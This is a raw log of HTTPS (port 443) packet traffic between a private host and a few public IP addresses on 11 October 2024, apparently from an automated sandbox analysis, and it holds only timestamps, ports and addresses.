Oct 11, 2024 20:29:08.420051098 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.420064926 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.420156002 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.420176983 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.420242071 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.420440912 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.420454025 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.420506954 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.420519114 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.420588017 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.420643091 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.420700073 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.420711994 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.421086073 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.421113014 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.421144009 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.421158075 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.421201944 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.421536922 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.421560049 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.421595097 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.421612024 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.421633959 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.421833038 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.421857119 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.421888113 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.421905041 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.421926022 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.422153950 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.422179937 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.422207117 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.422224045 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.422249079 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.422422886 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.422446966 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.422475100 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.422491074 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.422513008 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.423403978 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.425786018 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.425787926 CEST	49756	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.425792933 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.425817966 CEST	49754	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.425827026 CEST	443	49754	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.453088999 CEST	443	49759	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.453310013 CEST	49759	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.453360081 CEST	443	49759	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.454787016 CEST	443	49759	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.454854012 CEST	49759	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.455128908 CEST	49759	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.455214024 CEST	443	49759	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.455224991 CEST	49759	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.472446918 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.472453117 CEST	49754	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.472563982 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.479445934 CEST	443	49753	184.28.90.27	192.168.2.4
Oct 11, 2024 20:29:08.479532003 CEST	49753	443	192.168.2.4	184.28.90.27
Oct 11, 2024 20:29:08.482580900 CEST	49753	443	192.168.2.4	184.28.90.27
Oct 11, 2024 20:29:08.482597113 CEST	443	49753	184.28.90.27	192.168.2.4
Oct 11, 2024 20:29:08.482927084 CEST	443	49753	184.28.90.27	192.168.2.4
Oct 11, 2024 20:29:08.499450922 CEST	443	49759	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.506234884 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.506274939 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.506443977 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.506443977 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.506510019 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.506577015 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.506809950 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.506841898 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.506874084 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.506889105 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.506915092 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.506932974 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.507314920 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.507313967 CEST	49759	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.507352114 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.507359028 CEST	443	49759	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.507380009 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.507397890 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.507421970 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.507447958 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.507546902 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.507584095 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.507606030 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.507616997 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.507642984 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.507662058 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.507692099 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.507719040 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.507750988 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.507762909 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.507791042 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.507817030 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.507941008 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.507976055 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.508012056 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.508023024 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.508049965 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.508052111 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.508073092 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.508080006 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.508111954 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.508132935 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.508152008 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.508197069 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.508624077 CEST	49747	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.508655071 CEST	443	49747	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.509516954 CEST	443	49758	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.509592056 CEST	443	49758	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.509645939 CEST	49758	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.509655952 CEST	443	49758	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.509692907 CEST	443	49758	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.509742975 CEST	49758	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.521655083 CEST	443	49755	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.521769047 CEST	443	49755	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.521847010 CEST	49755	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.521883011 CEST	443	49755	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.521912098 CEST	443	49755	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.522015095 CEST	443	49755	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.522097111 CEST	49755	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.522097111 CEST	49755	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.522165060 CEST	443	49755	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.522206068 CEST	443	49755	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.522222996 CEST	49755	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.522239923 CEST	443	49755	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.522281885 CEST	49755	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.522381067 CEST	443	49755	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.522439003 CEST	49755	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.524221897 CEST	49753	443	192.168.2.4	184.28.90.27
Oct 11, 2024 20:29:08.526201963 CEST	49762	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.526226997 CEST	443	49762	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.526302099 CEST	49762	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.526691914 CEST	49762	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.526699066 CEST	443	49762	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.527165890 CEST	49758	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.527173996 CEST	443	49758	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.527494907 CEST	49763	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.527574062 CEST	443	49763	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.527642965 CEST	49763	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.527964115 CEST	49763	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.527992010 CEST	443	49763	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.528192997 CEST	49755	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.528234959 CEST	443	49755	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.528453112 CEST	49764	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.528501034 CEST	443	49764	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.528564930 CEST	49764	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.528870106 CEST	49764	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.528896093 CEST	443	49764	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.530627966 CEST	443	49754	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.530930996 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.530981064 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.531027079 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.531030893 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.531055927 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.531071901 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.531080961 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.531096935 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.531101942 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.531124115 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.531151056 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.531575918 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.531589985 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.531608105 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.531615019 CEST	443	49754	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.531635046 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.531672955 CEST	49754	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.532747030 CEST	49754	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.532771111 CEST	443	49754	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.533041954 CEST	49765	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.533067942 CEST	443	49765	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.533117056 CEST	49765	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.533762932 CEST	49765	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.533781052 CEST	443	49765	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.550184965 CEST	49759	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.571408033 CEST	443	49753	184.28.90.27	192.168.2.4
Oct 11, 2024 20:29:08.571676970 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.572241068 CEST	443	49760	34.117.59.81	192.168.2.4
Oct 11, 2024 20:29:08.572535038 CEST	49760	443	192.168.2.4	34.117.59.81
Oct 11, 2024 20:29:08.572604895 CEST	443	49760	34.117.59.81	192.168.2.4
Oct 11, 2024 20:29:08.574100018 CEST	443	49760	34.117.59.81	192.168.2.4
Oct 11, 2024 20:29:08.574192047 CEST	49760	443	192.168.2.4	34.117.59.81
Oct 11, 2024 20:29:08.578974009 CEST	49760	443	192.168.2.4	34.117.59.81
Oct 11, 2024 20:29:08.579076052 CEST	443	49760	34.117.59.81	192.168.2.4
Oct 11, 2024 20:29:08.579128981 CEST	49760	443	192.168.2.4	34.117.59.81
Oct 11, 2024 20:29:08.610024929 CEST	443	49759	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.610085011 CEST	443	49759	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.610187054 CEST	49759	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.610200882 CEST	443	49759	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.610255957 CEST	49759	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.611197948 CEST	49759	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.611232996 CEST	443	49759	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.611560106 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.611617088 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.611696005 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.612299919 CEST	49766	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.612318039 CEST	443	49766	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.619566917 CEST	49760	443	192.168.2.4	34.117.59.81
Oct 11, 2024 20:29:08.619601965 CEST	443	49760	34.117.59.81	192.168.2.4
Oct 11, 2024 20:29:08.621804953 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.621841908 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.621857882 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.621901035 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.621943951 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.622720003 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.622742891 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.622757912 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.622781992 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.622805119 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.622813940 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.622844934 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.623586893 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.623605967 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.623667002 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.624219894 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.624238014 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.624270916 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.624295950 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.624300003 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.624313116 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.669754028 CEST	49760	443	192.168.2.4	34.117.59.81
Oct 11, 2024 20:29:08.670459986 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.722198009 CEST	443	49760	34.117.59.81	192.168.2.4
Oct 11, 2024 20:29:08.722297907 CEST	443	49760	34.117.59.81	192.168.2.4
Oct 11, 2024 20:29:08.722364902 CEST	49760	443	192.168.2.4	34.117.59.81
Oct 11, 2024 20:29:08.731772900 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.731803894 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.731841087 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.731848955 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.731892109 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.731905937 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.732342958 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.732379913 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.732404947 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.732414961 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.732439041 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.732558012 CEST	49760	443	192.168.2.4	34.117.59.81
Oct 11, 2024 20:29:08.732630014 CEST	443	49760	34.117.59.81	192.168.2.4
Oct 11, 2024 20:29:08.733017921 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.733064890 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.733071089 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.733088017 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.733108044 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.733134985 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.734544039 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.734591961 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.734606981 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.734617949 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.734636068 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.734682083 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.734721899 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.734725952 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.785758018 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.803579092 CEST	443	49753	184.28.90.27	192.168.2.4
Oct 11, 2024 20:29:08.803670883 CEST	443	49753	184.28.90.27	192.168.2.4
Oct 11, 2024 20:29:08.803726912 CEST	49753	443	192.168.2.4	184.28.90.27
Oct 11, 2024 20:29:08.804615974 CEST	49753	443	192.168.2.4	184.28.90.27
Oct 11, 2024 20:29:08.804640055 CEST	443	49753	184.28.90.27	192.168.2.4
Oct 11, 2024 20:29:08.804655075 CEST	49753	443	192.168.2.4	184.28.90.27
Oct 11, 2024 20:29:08.804661989 CEST	443	49753	184.28.90.27	192.168.2.4
Oct 11, 2024 20:29:08.819228888 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.819298029 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.819329023 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.819343090 CEST	49756	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.819406986 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.819509029 CEST	49756	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.819729090 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.819739103 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.819799900 CEST	49756	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.821991920 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.822021961 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.822057962 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.822073936 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.822096109 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.822107077 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.822127104 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.822160006 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.822242022 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.822285891 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.822865963 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.822921038 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.822928905 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.822942972 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.822969913 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.822983027 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.823030949 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.823093891 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.823102951 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.823137045 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.823200941 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.823538065 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.824120045 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.824130058 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.824203014 CEST	49756	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.828238010 CEST	49757	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.828258038 CEST	443	49757	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.908112049 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.908135891 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.908289909 CEST	49756	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.908997059 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.909008026 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.909063101 CEST	49756	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.909085989 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.909105062 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.909127951 CEST	49756	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.909138918 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.909157991 CEST	49756	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.910901070 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.910964012 CEST	49756	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.910979986 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.911020041 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.911042929 CEST	49756	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.958762884 CEST	49756	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.996829033 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.996843100 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.996915102 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.996941090 CEST	49756	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.996970892 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.996999025 CEST	49756	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.997358084 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.997407913 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.997411013 CEST	49756	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.997435093 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.997461081 CEST	49756	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.999052048 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.999105930 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.999116898 CEST	49756	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:08.999131918 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.999150991 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:08.999227047 CEST	49756	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.000739098 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.000752926 CEST	443	49756	76.76.21.21	192.168.2.4
Oct 11, 2024 20:29:09.000780106 CEST	49756	443	192.168.2.4	76.76.21.21
Oct 11, 2024 20:29:09.000794888 CEST	443	49756	76.76.21.21	192.168.2.4
